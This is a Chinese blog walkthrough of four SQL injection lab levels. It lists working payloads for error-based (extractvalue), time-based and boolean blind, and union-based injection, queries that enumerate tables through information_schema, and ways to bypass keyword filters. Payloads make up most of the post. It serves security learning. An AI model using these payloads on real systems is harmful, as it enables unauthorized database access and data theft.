• 【sql注入】sql关卡1~4


    前言: 靶场自取

    level-1

    测试注入点

    POC: 1,1',1'',1"",1/1,1/0

    ==》存在注入点

    爆破

    POC: id=-1'+and+extractvalue(1,concat(0x7e,user(),0x7e))--+
    在这里插入图片描述

    level-2

    尝试注入点

    POC1:admin'
    POC2:admin''
    POC3:admin''+and+sleep(3)--+
    POC4: admin'+and+if(1,1,0)=0--+
    POC5: admin'+and+if(1,1,0)=1--+
    在这里插入图片描述
    ==》
    POC1,POC2没有反应
    POC3存在延时输出,存在休眠盲注
    POC4、POC5存在content-length周期变化,存在布尔盲注

    爆破

    尝试盲注

    • step1: 爆破数据库名
      在这里插入图片描述
      在这里插入图片描述
      ==》 数据库长度为4

    • step2: 获取数据库每个字符
      在这里插入图片描述
      在这里插入图片描述
      ==》 database: dvwa
      同理得到用户名:root@localhost

      ==》爆出表名
      POC:id=admin'+and+if(substr(concat(0x7e,(select+(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database())),0x7e),§1§,1)='§a§',1,0)--+
      在这里插入图片描述
      ==》得到表名:guestbook,users

    level-3

    测试注入点

    利用1,1’,1",1/1,1/2
    在这里插入图片描述
    ===》
    a. 存在注入点
    b. 注入点是表名,猜想sql语句为select * from '$id$ where user_id='1' LIMIT 0,1

    爆破

    POC=id=(select(extractValue(1,concat(0x7e,(select+(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database())),0x7e))))as+a--+
    在这里插入图片描述
    3. 尝试表名
    在这里插入图片描述
    4. 尝试爆破其他字段

    • 方式一:union方式

      • step1: 获取列数(二分法)
        POC1: id=users+order+by 10 //不回显
        POC2: id=users+order+by 5 //回显
        POC3: id=users+order+by 7 //回显
        POC4: id=users+order+by 8 //回显
        POC5: id=users+order+by 9 //不回显
        在这里插入图片描述 ===》 8列

      • step2: 获取回显位
        POC: id=users+where+user_id=-1+union+select+1,2,3,4,5,6,7,8--+
        注意这里需要手动构造where user_id=-1 在这里插入图片描述==》 回显位:4,5

      • step 3: 爆破数据

        • 爆破用户名、数据库
          POC: id=users+where+user_id=-1+union+select+1,2,3,user(),database(),6,7,8--+
          在这里插入图片描述
    • 方式二:报错函数方式

      • 爆破用户名
        POC: id=(select(extractvalue(1,concat(0x7e,user()))))as+a--+
        在这里插入图片描述
      • 爆出数据库
        POC: id=(select(extractvalue(1,concat(0x7e,database()))))as+a--+
        在这里插入图片描述

    level-4

    测试注入点

    POC: 1'、1"、1""、1/0、1/1,sleep

    ==》 id=1存在注入

    爆破

    • POC: id=1'+and+extractvalue(1,concat(0x7e,user(),0x7e))--+

    在这里插入图片描述
    ==》and被转移为_了

    • 尝试使用||代替and。
      POC: id=1'+||+extractvalue(1,concat(0x7e,user(),0x7e))--+
      在这里插入图片描述

    ==》成功爆破

    • 尝试%26代替
      POC: id=1'%26%26+extractvalue(1,concat(0x7e,user(),0x7e))--+
      在这里插入图片描述
      ==》成功爆破
  • 相关阅读:
    【复盘】记录一次JVM 异常问题 java.lang.OutOfMemoryError: unable to create new native thread
    微服务-gateway鉴权
    全链路压测效能10倍提升的压测工具实践笔记【开源】【原创】
    翻译软件-免费翻译软件-自动批量翻译软件
    npm常用命令
    Xilinx DDR4 MIG 的调试
    【毕业设计】Spark海量新闻文本聚类(文本分类)
    【ESP32_8266_WiFi (十三)】ESP8266自动配网 – WiFiManager库使用说明
    尚硅谷设计模式(十九)迭代器模式
    IX模式和其他模式
  • 原文地址:https://blog.csdn.net/iplayvs2008/article/details/134183618